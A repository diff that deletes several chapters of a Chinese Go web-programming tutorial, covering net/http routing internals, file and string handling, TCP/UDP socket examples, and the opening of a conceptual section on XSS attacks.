那么如何具体分配到相应的函数来处理请求呢conn首先会解析request:`c.readRequest()`,然后获取相应的handler:`handler := c.server.Handler`,也就是我们刚才在调用函数`ListenAndServe`时候的第二个参数我们前面例子传递的是nil也就是为空那么默认获取`handler = DefaultServeMux`,那么这个变量用来做什么的呢这个变量就是一个路由器它用来匹配url跳转到其相应的handle函数那么这个我们有设置过吗?有,我们调用的代码里面第一句不是调用了`http.HandleFunc("/", sayhelloName)`嘛。这个作用就是注册了请求`/`的路由规则当请求uri为"/"路由就会转到函数sayhelloNameDefaultServeMux会调用ServeHTTP方法这个方法内部其实就是调用sayhelloName本身最后通过写入response的信息反馈到客户端。
详细的整个流程如下图所示:
![](images/3.3.illustrator.png?raw=true)
图3.10 一个http连接处理流程
至此我们的三个问题已经全部得到了解答你现在对于Go如何让Web跑起来的是否已经基本了解呢
## links
* [目录](<preface.md>)
* 上一节: [GO搭建一个简单的web服务](<03.2.md>)
* 下一节: [Go的http包详解](<03.4.md>)

View File

@@ -1,181 +0,0 @@
# 3.4 Go的http包详解
前面小节介绍了Go怎么样实现了Web工作模式的一个流程这一小节我们将详细地解剖一下http包看它到底是怎样实现整个过程的。
Go的http有两个核心功能Conn、ServeMux
## Conn的goroutine
与我们一般编写的http服务器不同, Go为了实现高并发和高性能, 使用了goroutines来处理Conn的读写事件, 这样每个请求都能保持独立相互不会阻塞可以高效的响应网络事件。这是Go高效的保证。
Go在等待客户端请求里面是这样写的
c, err := srv.newConn(rw)
if err != nil {
continue
}
go c.serve()
这里我们可以看到客户端的每次请求都会创建一个Conn这个Conn里面保存了该次请求的信息然后再传递到对应的handler该handler中便可以读取到相应的header信息这样保证了每个请求的独立性。
## ServeMux的自定义
我们前面小节讲述conn.server的时候其实内部是调用了http包默认的路由器通过路由器把本次请求的信息传递到了后端的处理函数。那么这个路由器是怎么实现的呢
它的结构如下:
type ServeMux struct {
mu sync.RWMutex //锁,由于请求涉及到并发处理,因此这里需要一个锁机制
m map[string]muxEntry // 路由规则一个string对应一个mux实体这里的string就是注册的路由表达式
hosts bool // 是否在任意的规则中带有host信息
}
下面看一下muxEntry
type muxEntry struct {
explicit bool // 是否精确匹配
h Handler // 这个路由表达式对应哪个handler
pattern string //匹配字符串
}
接着看一下Handler的定义
type Handler interface {
ServeHTTP(ResponseWriter, *Request) // 路由实现器
}
Handler是一个接口但是前一小节中的`sayhelloName`函数并没有实现ServeHTTP这个接口为什么能添加呢原来在http包里面还定义了一个类型`HandlerFunc`,我们定义的函数`sayhelloName`就是这个HandlerFunc调用之后的结果这个类型默认就实现了ServeHTTP这个接口即我们调用了HandlerFunc(f),强制类型转换f成为HandlerFunc类型这样f就拥有了ServeHTTP方法。
type HandlerFunc func(ResponseWriter, *Request)
// ServeHTTP calls f(w, r).
func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) {
f(w, r)
}
路由器里面存储好了相应的路由规则之后,那么具体的请求又是怎么分发的呢?请看下面的代码,默认的路由器实现了`ServeHTTP`
func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) {
if r.RequestURI == "*" {
w.Header().Set("Connection", "close")
w.WriteHeader(StatusBadRequest)
return
}
h, _ := mux.Handler(r)
h.ServeHTTP(w, r)
}
如上所示路由器接收到请求之后,如果是`*`那么关闭链接,不然调用`mux.Handler(r)`返回对应设置路由的处理Handler然后执行`h.ServeHTTP(w, r)`
也就是调用对应路由的handler的ServerHTTP接口那么mux.Handler(r)怎么处理的呢?
func (mux *ServeMux) Handler(r *Request) (h Handler, pattern string) {
if r.Method != "CONNECT" {
if p := cleanPath(r.URL.Path); p != r.URL.Path {
_, pattern = mux.handler(r.Host, p)
return RedirectHandler(p, StatusMovedPermanently), pattern
}
}
return mux.handler(r.Host, r.URL.Path)
}
func (mux *ServeMux) handler(host, path string) (h Handler, pattern string) {
mux.mu.RLock()
defer mux.mu.RUnlock()
// Host-specific pattern takes precedence over generic ones
if mux.hosts {
h, pattern = mux.match(host + path)
}
if h == nil {
h, pattern = mux.match(path)
}
if h == nil {
h, pattern = NotFoundHandler(), ""
}
return
}
原来他是根据用户请求的URL和路由器里面存储的map去匹配的当匹配到之后返回存储的handler调用这个handler的ServeHTTP接口就可以执行到相应的函数了。
通过上面这个介绍我们了解了整个路由过程Go其实支持外部实现的路由器 `ListenAndServe`的第二个参数就是用以配置外部路由器的它是一个Handler接口即外部路由器只要实现了Handler接口就可以,我们可以在自己实现的路由器的ServeHTTP里面实现自定义路由功能。
如下代码所示,我们自己实现了一个简易的路由器
package main
import (
"fmt"
"net/http"
)
type MyMux struct {
}
func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.URL.Path == "/" {
sayhelloName(w, r)
return
}
http.NotFound(w, r)
return
}
func sayhelloName(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello myroute!")
}
func main() {
mux := &MyMux{}
http.ListenAndServe(":9090", mux)
}
## Go代码的执行流程
通过对http包的分析之后现在让我们来梳理一下整个的代码执行过程。
- 首先调用Http.HandleFunc
按顺序做了几件事:
1 调用了DefaultServeMux的HandleFunc
2 调用了DefaultServeMux的Handle
3 往DefaultServeMux的map[string]muxEntry中增加对应的handler和路由规则
- 其次调用http.ListenAndServe(":9090", nil)
按顺序做了几件事情:
1 实例化Server
2 调用Server的ListenAndServe()
3 调用net.Listen("tcp", addr)监听端口
4 启动一个for循环在循环体中Accept请求
5 对每个请求实例化一个Conn并且开启一个goroutine为这个请求进行服务go c.serve()
6 读取每个请求的内容w, err := c.readRequest()
7 判断handler是否为空如果没有设置handler这个例子就没有设置handlerhandler就设置为DefaultServeMux
8 调用handler的ServeHttp
9 在这个例子中下面就进入到DefaultServeMux.ServeHttp
10 根据request选择handler并且进入到这个handler的ServeHTTP
mux.handler(r).ServeHTTP(w, r)
11 选择handler
A 判断是否有路由能满足这个request循环遍历ServerMux的muxEntry
B 如果有路由满足调用这个路由handler的ServeHttp
C 如果没有路由满足调用NotFoundHandler的ServeHttp
## links
* [目录](<preface.md>)
* 上一节: [Go如何使得web工作](<03.3.md>)
* 下一节: [小结](<03.5.md>)

View File

@@ -1,9 +0,0 @@
# 3.5 小结
这一章我们介绍了HTTP协议, DNS解析的过程, 如何用go实现一个简陋的web server。并深入到net/http包的源码中为大家揭开实现此server的秘密。
希望通过这一章的学习你能够对Go开发Web有了初步的了解我们也看到相应的代码了Go开发Web应用是很方便的同时又是相当的灵活。
## links
* [目录](<preface.md>)
* 上一节: [Go的http包详解](<03.4.md>)
* 下一章: [表单](<04.0.md>)

View File

@@ -1,9 +0,0 @@
# 4.6 小结
这一章里面我们学习了Go如何处理表单信息我们通过用户登陆、上传文件的例子展示了Go处理form表单信息及上传文件的手段。但是在处理表单过程中我们需要验证用户输入的信息考虑到网站安全的重要性数据过滤就显得相当重要了因此后面的章节中专门写了一个小节来讲解了不同方面的数据过滤顺带讲一下Go对字符串的正则处理。
通过这一章能够让你了解客户端和服务器端是如何进行数据上的交互,客户端将数据传递给服务器系统,服务器接受数据又把处理结果反馈给客户端。
## links
* [目录](<preface.md>)
* 上一节: [处理文件上传](<04.5.md>)
* 下一章: [访问数据库](<05.0.md>)

View File

@@ -1,153 +0,0 @@
# 7.5 文件操作
在任何计算机设备中文件是都是必须的对象而在Web编程中,文件的操作一直是Web程序员经常遇到的问题,文件操作在Web应用中是必须的,非常有用的,我们经常遇到生成文件目录,文件(夹)编辑等操作,现在我把Go中的这些操作做一详细总结并实例示范如何使用。
## 目录操作
文件操作的大多数函数都是在os包里面下面列举了几个目录操作的
- func Mkdir(name string, perm FileMode) error
创建名称为name的目录权限设置是perm例如0777
- func MkdirAll(path string, perm FileMode) error
根据path创建多级子目录例如astaxie/test1/test2。
- func Remove(name string) error
删除名称为name的目录当目录下有文件或者其他目录是会出错
- func RemoveAll(path string) error
根据path删除多级子目录如果path是单个名称那么该目录下的子目录全部删除。
下面是演示代码:
package main
import (
"fmt"
"os"
)
func main() {
os.Mkdir("astaxie", 0777)
os.MkdirAll("astaxie/test1/test2", 0777)
err := os.Remove("astaxie")
if err != nil {
fmt.Println(err)
}
os.RemoveAll("astaxie")
}
## 文件操作
### 建立与打开文件
新建文件可以通过如下两个方法
- func Create(name string) (file *File, err Error)
根据提供的文件名创建新的文件返回一个文件对象默认权限是0666的文件返回的文件对象是可读写的。
- func NewFile(fd uintptr, name string) *File
根据文件描述符创建相应的文件,返回一个文件对象
通过如下两个方法来打开文件:
- func Open(name string) (file *File, err Error)
该方法打开一个名称为name的文件但是是只读方式内部实现其实调用了OpenFile。
- func OpenFile(name string, flag int, perm uint32) (file *File, err Error)
打开名称为name的文件flag是打开的方式只读、读写等perm是权限
### 写文件
写文件函数:
- func (file *File) Write(b []byte) (n int, err Error)
写入byte类型的信息到文件
- func (file *File) WriteAt(b []byte, off int64) (n int, err Error)
在指定位置开始写入byte类型的信息
- func (file *File) WriteString(s string) (ret int, err Error)
写入string信息到文件
写文件的示例代码
package main
import (
"fmt"
"os"
)
func main() {
userFile := "astaxie.txt"
fout, err := os.Create(userFile)
if err != nil {
fmt.Println(userFile, err)
return
}
defer fout.Close()
for i := 0; i < 10; i++ {
fout.WriteString("Just a test!\r\n")
fout.Write([]byte("Just a test!\r\n"))
}
}
### 读文件
读文件函数:
- func (file *File) Read(b []byte) (n int, err Error)
读取数据到b中
- func (file *File) ReadAt(b []byte, off int64) (n int, err Error)
从off开始读取数据到b中
读文件的示例代码:
package main
import (
"fmt"
"os"
)
func main() {
userFile := "asatxie.txt"
fl, err := os.Open(userFile)
if err != nil {
fmt.Println(userFile, err)
return
}
defer fl.Close()
buf := make([]byte, 1024)
for {
n, _ := fl.Read(buf)
if 0 == n {
break
}
os.Stdout.Write(buf[:n])
}
}
### 删除文件
Go语言里面删除文件和删除文件夹是同一个函数
- func Remove(name string) Error
调用该函数就可以删除文件名为name的文件
## links
* [目录](<preface.md>)
* 上一节: [模板处理](<07.4.md>)
* 下一节: [字符串处理](<07.6.md>)

View File

@@ -1,152 +0,0 @@
# 7.6 字符串处理
字符串在我们平常的Web开发中经常用到包括用户的输入数据库读取的数据等我们经常需要对字符串进行分割、连接、转换等操作本小节将通过Go标准库中的strings和strconv两个包中的函数来讲解如何进行有效快速的操作。
## 字符串操作
下面这些函数来自于strings包这里介绍一些我平常经常用到的函数更详细的请参考官方的文档。
- func Contains(s, substr string) bool
字符串s中是否包含substr返回bool值
fmt.Println(strings.Contains("seafood", "foo"))
fmt.Println(strings.Contains("seafood", "bar"))
fmt.Println(strings.Contains("seafood", ""))
fmt.Println(strings.Contains("", ""))
//Output:
//true
//false
//true
//true
- func Join(a []string, sep string) string
字符串链接把slice a通过sep链接起来
s := []string{"foo", "bar", "baz"}
fmt.Println(strings.Join(s, ", "))
//Output:foo, bar, baz
- func Index(s, sep string) int
在字符串s中查找sep所在的位置返回位置值找不到返回-1
fmt.Println(strings.Index("chicken", "ken"))
fmt.Println(strings.Index("chicken", "dmr"))
//Output:4
//-1
- func Repeat(s string, count int) string
重复s字符串count次最后返回重复的字符串
fmt.Println("ba" + strings.Repeat("na", 2))
//Output:banana
- func Replace(s, old, new string, n int) string
在s字符串中把old字符串替换为new字符串n表示替换的次数小于0表示全部替换
fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2))
fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1))
//Output:oinky oinky oink
//moo moo moo
- func Split(s, sep string) []string
把s字符串按照sep分割返回slice
fmt.Printf("%q\n", strings.Split("a,b,c", ","))
fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a "))
fmt.Printf("%q\n", strings.Split(" xyz ", ""))
fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins"))
//Output:["a" "b" "c"]
//["" "man " "plan " "canal panama"]
//[" " "x" "y" "z" " "]
//[""]
- func Trim(s string, cutset string) string
在s字符串的头部和尾部去除cutset指定的字符串
fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! "))
//Output:["Achtung"]
- func Fields(s string) []string
去除s字符串的空格符并且按照空格分割返回slice
fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz "))
//Output:Fields are: ["foo" "bar" "baz"]
## 字符串转换
字符串转化的函数在strconv中如下也只是列出一些常用的
- Append 系列函数将整数等转换为字符串后,添加到现有的字节数组中。
package main
import (
"fmt"
"strconv"
)
func main() {
str := make([]byte, 0, 100)
str = strconv.AppendInt(str, 4567, 10)
str = strconv.AppendBool(str, false)
str = strconv.AppendQuote(str, "abcdefg")
str = strconv.AppendQuoteRune(str, '单')
fmt.Println(string(str))
}
- Format 系列函数把其他类型的转换为字符串
package main
import (
"fmt"
"strconv"
)
func main() {
a := strconv.FormatBool(false)
b := strconv.FormatFloat(123.23, 'g', 12, 64)
c := strconv.FormatInt(1234, 10)
d := strconv.FormatUint(12345, 10)
e := strconv.Itoa(1023)
fmt.Println(a, b, c, d, e)
}
- Parse 系列函数把字符串转换为其他类型
package main
import (
"fmt"
"strconv"
)
func checkError(e error){
if e != nil{
fmt.Println(e)
}
}
func main() {
a, err := strconv.ParseBool("false")
checkError(err)
b, err := strconv.ParseFloat("123.23", 64)
checkError(err)
c, err := strconv.ParseInt("1234", 10, 64)
checkError(err)
d, err := strconv.ParseUint("12345", 10, 64)
checkError(err)
e, err := strconv.Atoi("1023")
checkError(err)
fmt.Println(a, b, c, d, e)
}
## links
* [目录](<preface.md>)
* 上一节: [文件操作](<07.5.md>)
* 下一节: [小结](<07.7.md>)

View File

@@ -1,397 +0,0 @@
# 8.1 Socket编程
在很多底层网络应用开发者的眼里一切编程都是Socket话虽然有点夸张但却也几乎如此了现在的网络编程几乎都是用Socket来编程。你想过这些情景么我们每天打开浏览器浏览网页时浏览器进程怎么和Web服务器进行通信的呢当你用QQ聊天时QQ进程怎么和服务器或者是你的好友所在的QQ进程进行通信的呢当你打开PPstream观看视频时PPstream进程如何与视频服务器进行通信的呢 如此种种都是靠Socket来进行通信的以一斑窥全豹可见Socket编程在现代编程中占据了多么重要的地位这一节我们将介绍Go语言中如何进行Socket编程。
## 什么是Socket
Socket起源于Unix而Unix基本哲学之一就是“一切皆文件”都可以用“打开open > 读写write/read > 关闭close”模式来操作。Socket就是该模式的一个实现网络的Socket数据传输是一种特殊的I/OSocket也是一种文件描述符。Socket也具有一个类似于打开文件的函数调用Socket()该函数返回一个整型的Socket描述符随后的连接建立、数据传输等操作都是通过该Socket实现的。
常用的Socket类型有两种流式SocketSOCK_STREAM和数据报式SocketSOCK_DGRAM。流式是一种面向连接的Socket针对于面向连接的TCP服务应用数据报式Socket是一种无连接的Socket对应于无连接的UDP服务应用。
## Socket如何通信
网络中的进程之间如何通过Socket通信呢首要解决的问题是如何唯一标识一个进程否则通信无从谈起在本地可以通过进程PID来唯一标识一个进程但是在网络中这是行不通的。其实TCP/IP协议族已经帮我们解决了这个问题网络层的“ip地址”可以唯一标识网络中的主机而传输层的“协议+端口”可以唯一标识主机中的应用程序进程。这样利用三元组ip地址协议端口就可以标识网络的进程了网络中需要互相通信的进程就可以利用这个标志在他们之间进行交互。请看下面这个TCP/IP协议结构图
![](images/8.1.socket.png?raw=true)
图8.1 七层网络协议图
使用TCP/IP协议的应用程序通常采用应用编程接口UNIX BSD的套接字socket和UNIX System V的TLI已经被淘汰来实现网络进程之间的通信。就目前而言几乎所有的应用程序都是采用socket而现在又是网络时代网络中进程通信是无处不在这就是为什么说“一切皆Socket”。
## Socket基础知识
通过上面的介绍我们知道Socket有两种TCP Socket和UDP SocketTCP和UDP是协议而要确定一个进程的需要三元组需要IP地址和端口。
### IPv4地址
目前的全球因特网所采用的协议族是TCP/IP协议。IP是TCP/IP协议中网络层的协议是TCP/IP协议族的核心协议。目前主要采用的IP协议的版本号是4(简称为IPv4)发展至今已经使用了30多年。
IPv4的地址位数为32位也就是最多有2的32次方的网络设备可以联到Internet上。近十年来由于互联网的蓬勃发展IP位址的需求量愈来愈大使得IP位址的发放愈趋紧张前一段时间据报道IPV4的地址已经发放完毕我们公司目前很多服务器的IP都是一个宝贵的资源。
地址格式类似这样127.0.0.1 172.122.121.111
### IPv6地址
IPv6是下一版本的互联网协议也可以说是下一代互联网的协议它是为了解决IPv4在实施过程中遇到的各种问题而被提出的IPv6采用128位地址长度几乎可以不受限制地提供地址。按保守方法估算IPv6实际可分配的地址整个地球的每平方米面积上仍可分配1000多个地址。在IPv6的设计过程中除了一劳永逸地解决了地址短缺问题以外还考虑了在IPv4中解决不好的其它问题主要有端到端IP连接、服务质量QoS、安全性、多播、移动性、即插即用等。
地址格式类似这样2002:c0e8:82e7:0:0:0:c0e8:82e7
### Go支持的IP类型
在Go的`net`包中定义了很多类型、函数和方法用来网络编程其中IP的定义如下
type IP []byte
在`net`包中有很多函数来操作IP但是其中比较有用的也就几个其中`ParseIP(s string) IP`函数会把一个IPv4或者IPv6的地址转化成IP类型请看下面的例子:
package main
import (
"net"
"os"
"fmt"
)
func main() {
if len(os.Args) != 2 {
fmt.Fprintf(os.Stderr, "Usage: %s ip-addr\n", os.Args[0])
os.Exit(1)
}
name := os.Args[1]
addr := net.ParseIP(name)
if addr == nil {
fmt.Println("Invalid address")
} else {
fmt.Println("The address is ", addr.String())
}
os.Exit(0)
}
执行之后你就会发现只要你输入一个IP地址就会给出相应的IP格式
## TCP Socket
当我们知道如何通过网络端口访问一个服务时,那么我们能够做什么呢?作为客户端来说,我们可以通过向远端某台机器的的某个网络端口发送一个请求,然后得到在机器的此端口上监听的服务反馈的信息。作为服务端,我们需要把服务绑定到某个指定端口,并且在此端口上监听,当有客户端来访问时能够读取信息并且写入反馈信息。
在Go语言的`net`包中有一个类型`TCPConn`,这个类型可以用来作为客户端和服务器端交互的通道,他有两个主要的函数:
func (c *TCPConn) Write(b []byte) (n int, err os.Error)
func (c *TCPConn) Read(b []byte) (n int, err os.Error)
`TCPConn`可以用在客户端和服务器端来读写数据。
还有我们需要知道一个`TCPAddr`类型他表示一个TCP的地址信息他的定义如下
type TCPAddr struct {
IP IP
Port int
}
在Go语言中通过`ResolveTCPAddr`获取一个`TCPAddr`
func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error)
- net参数是"tcp4"、"tcp6"、"tcp"中的任意一个分别表示TCP(IPv4-only),TCP(IPv6-only)或者TCP(IPv4,IPv6的任意一个).
- addr表示域名或者IP地址例如"www.google.com:80" 或者"127.0.0.1:22".
### TCP client
Go语言中通过net包中的`DialTCP`函数来建立一个TCP连接并返回一个`TCPConn`类型的对象,当连接建立时服务器端也创建一个同类型的对象,此时客户端和服务器段通过各自拥有的`TCPConn`对象来进行数据交换。一般而言,客户端通过`TCPConn`对象将请求信息发送到服务器端,读取服务器端响应的信息。服务器端读取并解析来自客户端的请求,并返回应答信息,这个连接只有当任一端关闭了连接之后才失效,不然这连接可以一直在使用。建立连接的函数定义如下:
func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err os.Error)
- net参数是"tcp4"、"tcp6"、"tcp"中的任意一个分别表示TCP(IPv4-only)、TCP(IPv6-only)或者TCP(IPv4,IPv6的任意一个)
- laddr表示本机地址一般设置为nil
- raddr表示远程的服务地址
接下来我们写一个简单的例子模拟一个基于HTTP协议的客户端请求去连接一个Web服务端。我们要写一个简单的http请求头格式类似如下
"HEAD / HTTP/1.0\r\n\r\n"
从服务端接收到的响应信息格式可能如下:
HTTP/1.0 200 OK
ETag: "-9985996"
Last-Modified: Thu, 25 Mar 2010 17:51:10 GMT
Content-Length: 18074
Connection: close
Date: Sat, 28 Aug 2010 00:43:48 GMT
Server: lighttpd/1.4.23
我们的客户端代码如下所示:
package main
import (
"fmt"
"io/ioutil"
"net"
"os"
)
func main() {
if len(os.Args) != 2 {
fmt.Fprintf(os.Stderr, "Usage: %s host:port ", os.Args[0])
os.Exit(1)
}
service := os.Args[1]
tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
checkError(err)
conn, err := net.DialTCP("tcp", nil, tcpAddr)
checkError(err)
_, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n"))
checkError(err)
result, err := ioutil.ReadAll(conn)
checkError(err)
fmt.Println(string(result))
os.Exit(0)
}
func checkError(err error) {
if err != nil {
fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
os.Exit(1)
}
}
通过上面的代码我们可以看出:首先程序将用户的输入作为参数`service`传入`net.ResolveTCPAddr`获取一个tcpAddr,然后把tcpAddr传入DialTCP后创建了一个TCP连接`conn`,通过`conn`来发送请求信息,最后通过`ioutil.ReadAll`从`conn`中读取全部的文本,也就是服务端响应反馈的信息。
### TCP server
上面我们编写了一个TCP的客户端程序也可以通过net包来创建一个服务器端程序在服务器端我们需要绑定服务到指定的非激活端口并监听此端口当有客户端请求到达的时候可以接收到来自客户端连接的请求。net包中有相应功能的函数函数定义如下
func ListenTCP(net string, laddr *TCPAddr) (l *TCPListener, err os.Error)
func (l *TCPListener) Accept() (c Conn, err os.Error)
参数说明同DialTCP的参数一样。下面我们实现一个简单的时间同步服务监听7777端口
package main
import (
"fmt"
"net"
"os"
"time"
)
func main() {
service := ":7777"
tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
checkError(err)
listener, err := net.ListenTCP("tcp", tcpAddr)
checkError(err)
for {
conn, err := listener.Accept()
if err != nil {
continue
}
daytime := time.Now().String()
conn.Write([]byte(daytime)) // don't care about return value
conn.Close() // we're finished with this client
}
}
func checkError(err error) {
if err != nil {
fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
os.Exit(1)
}
}
上面的服务跑起来之后,它将会一直在那里等待,直到有新的客户端请求到达。当有新的客户端请求到达并同意接受`Accept`该请求的时候他会反馈当前的时间信息。值得注意的是,在代码中`for`循环里当有错误发生时直接continue而不是退出是因为在服务器端跑代码的时候当有错误发生的情况下最好是由服务端记录错误然后当前连接的客户端直接报错而退出从而不会影响到当前服务端运行的整个服务。
上面的代码有个缺点执行的时候是单任务的不能同时接收多个请求那么该如何改造以使它支持多并发呢Go里面有一个goroutine机制请看下面改造后的代码
package main
import (
"fmt"
"net"
"os"
"time"
)
func main() {
service := ":1200"
tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
checkError(err)
listener, err := net.ListenTCP("tcp", tcpAddr)
checkError(err)
for {
conn, err := listener.Accept()
if err != nil {
continue
}
go handleClient(conn)
}
}
func handleClient(conn net.Conn) {
defer conn.Close()
daytime := time.Now().String()
conn.Write([]byte(daytime)) // don't care about return value
// we're finished with this client
}
func checkError(err error) {
if err != nil {
fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
os.Exit(1)
}
}
通过把业务处理分离到函数`handleClient`,我们就可以进一步地实现多并发执行了。看上去是不是很帅,增加`go`关键词就实现了服务端的多并发从这个小例子也可以看出goroutine的强大之处。
有的朋友可能要问:这个服务端没有处理客户端实际请求的内容。如果我们需要通过从客户端发送不同的请求来获取不同的时间格式,而且需要一个长连接,该怎么做呢?请看:
package main
import (
"fmt"
"net"
"os"
"time"
"strconv"
"strings"
)
func main() {
service := ":1200"
tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
checkError(err)
listener, err := net.ListenTCP("tcp", tcpAddr)
checkError(err)
for {
conn, err := listener.Accept()
if err != nil {
continue
}
go handleClient(conn)
}
}
func handleClient(conn net.Conn) {
conn.SetReadDeadline(time.Now().Add(2 * time.Minute)) // set 2 minutes timeout
request := make([]byte, 128) // set maxium request length to 128B to prevent flood attack
defer conn.Close() // close connection before exit
for {
read_len, err := conn.Read(request)
if err != nil {
fmt.Println(err)
break
}
if read_len == 0 {
break // connection already closed by client
} else if strings.TrimSpace(string(request[:read_len])) == "timestamp" {
daytime := strconv.FormatInt(time.Now().Unix(), 10)
conn.Write([]byte(daytime))
} else {
daytime := time.Now().String()
conn.Write([]byte(daytime))
}
request = make([]byte, 128) // clear last read content
}
}
func checkError(err error) {
if err != nil {
fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
os.Exit(1)
}
}
在上面这个例子中,我们使用`conn.Read()`不断读取客户端发来的请求。由于我们需要保持与客户端的长连接,所以不能在读取完一次请求后就关闭连接。由于`conn.SetReadDeadline()`设置了超时,当一定时间内客户端无请求发送,`conn`便会自动关闭下面的for循环即会因为连接已关闭而跳出。需要注意的是`request`在创建时需要指定一个最大长度以防止flood attack每次读取到请求处理完毕后需要清理request因为`conn.Read()`会将新读取到的内容append到原内容之后。
### 控制TCP连接
TCP有很多连接控制函数我们平常用到比较多的有如下几个函数
func DialTimeout(net, addr string, timeout time.Duration) (Conn, error)
设置建立连接的超时时间,客户端和服务器端都适用,当超过设置时间时,连接自动关闭。
func (c *TCPConn) SetReadDeadline(t time.Time) error
func (c *TCPConn) SetWriteDeadline(t time.Time) error
用来设置写入/读取一个连接的超时时间。当超过设置时间时,连接自动关闭。
func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error
设置客户端是否和服务器端保持长连接可以降低建立TCP连接时的握手开销对于一些需要频繁交换数据的应用场景比较适用。
更多的内容请查看`net`包的文档。
## UDP Socket
Go语言包中处理UDP Socket和TCP Socket不同的地方就是在服务器端处理多个客户端请求数据包的方式不同,UDP缺少了对客户端连接请求的Accept函数。其他基本几乎一模一样只有TCP换成了UDP而已。UDP的几个主要函数如下所示
func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error)
func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error)
func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error)
func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error)
func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error)
一个UDP的客户端代码如下所示,我们可以看到不同的就是TCP换成了UDP而已
package main
import (
"fmt"
"net"
"os"
)
func main() {
if len(os.Args) != 2 {
fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0])
os.Exit(1)
}
service := os.Args[1]
udpAddr, err := net.ResolveUDPAddr("udp4", service)
checkError(err)
conn, err := net.DialUDP("udp", nil, udpAddr)
checkError(err)
_, err = conn.Write([]byte("anything"))
checkError(err)
var buf [512]byte
n, err := conn.Read(buf[0:])
checkError(err)
fmt.Println(string(buf[0:n]))
os.Exit(0)
}
func checkError(err error) {
if err != nil {
fmt.Fprintf(os.Stderr, "Fatal error ", err.Error())
os.Exit(1)
}
}
我们来看一下UDP服务器端如何来处理
package main
import (
"fmt"
"net"
"os"
"time"
)
func main() {
service := ":1200"
udpAddr, err := net.ResolveUDPAddr("udp4", service)
checkError(err)
conn, err := net.ListenUDP("udp", udpAddr)
checkError(err)
for {
handleClient(conn)
}
}
func handleClient(conn *net.UDPConn) {
var buf [512]byte
_, addr, err := conn.ReadFromUDP(buf[0:])
if err != nil {
return
}
daytime := time.Now().String()
conn.WriteToUDP([]byte(daytime), addr)
}
func checkError(err error) {
if err != nil {
fmt.Fprintf(os.Stderr, "Fatal error ", err.Error())
os.Exit(1)
}
}
## 总结
通过对TCP和UDP Socket编程的描述和实现可见Go已经完备地支持了Socket编程而且使用起来相当的方便Go提供了很多函数通过这些函数可以很容易就编写出高性能的Socket应用。
## links
* [目录](<preface.md>)
* 上一节: [Web服务](<08.0.md>)
* 下一节: [WebSocket](<08.2.md>)

View File

@@ -1,52 +0,0 @@
# 9.3 避免XSS攻击
随着互联网技术的发展现在的Web应用都含有大量的动态内容以提高用户体验。所谓动态内容就是应用程序能够根据用户环境和用户请求输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”Cross Site Scripting, 安全专家们通常将其缩写成 XSS的威胁而静态站点则完全不受其影响。
## 什么是XSS
XSS攻击跨站脚本攻击(Cross-Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆故将跨站脚本攻击缩写为XSS。XSS是一种常见的web安全漏洞它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者)XSS涉及到三方即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后攻击者甚至可以假冒合法用户与网站进行交互。
XSS通常可以分为两大类一类是存储型XSS主要出现在让用户输入数据供其他浏览此页的用户进行查看的地方包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据在页面中显示出来攻击者在相关页面输入恶意的脚本数据后用户浏览此类页面时就可能受到攻击。这个流程简单可以描述为:恶意用户的Html输入Web程序->进入数据库->Web程序->用户浏览器。另一类是反射型XSS主要做法是将脚本代码加入URL地址的请求参数里请求参数进入程序后在页面直接输出用户点击类似的恶意链接就可能受到攻击。
XSS目前主要的手段和目的如下
- 盗用cookie获取敏感信息。
- 利用植入Flash通过crossdomain权限设置进一步获取更高权限或者利用Java等得到类似的操作。
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式被攻击者用户的身份执行一些管理动作或执行一些如:发微博、加好友、发私信等常规操作前段时间新浪微博就遭遇过一次XSS。
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
- 在访问量极大的一些页面上的XSS可以攻击一些小型网站实现DDoS攻击的效果
## XSS的原理
Web应用未对用户提交请求的数据做充分的检查过滤允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”)并将未经转义的恶意代码输出到第三方用户的浏览器解释执行是导致XSS漏洞的产生原因。
接下来以反射性XSS举例说明XSS的过程现在有一个网站根据参数输出用户的名称例如访问url`http://127.0.0.1/?name=astaxie`,就会在浏览器输出如下信息:
hello astaxie
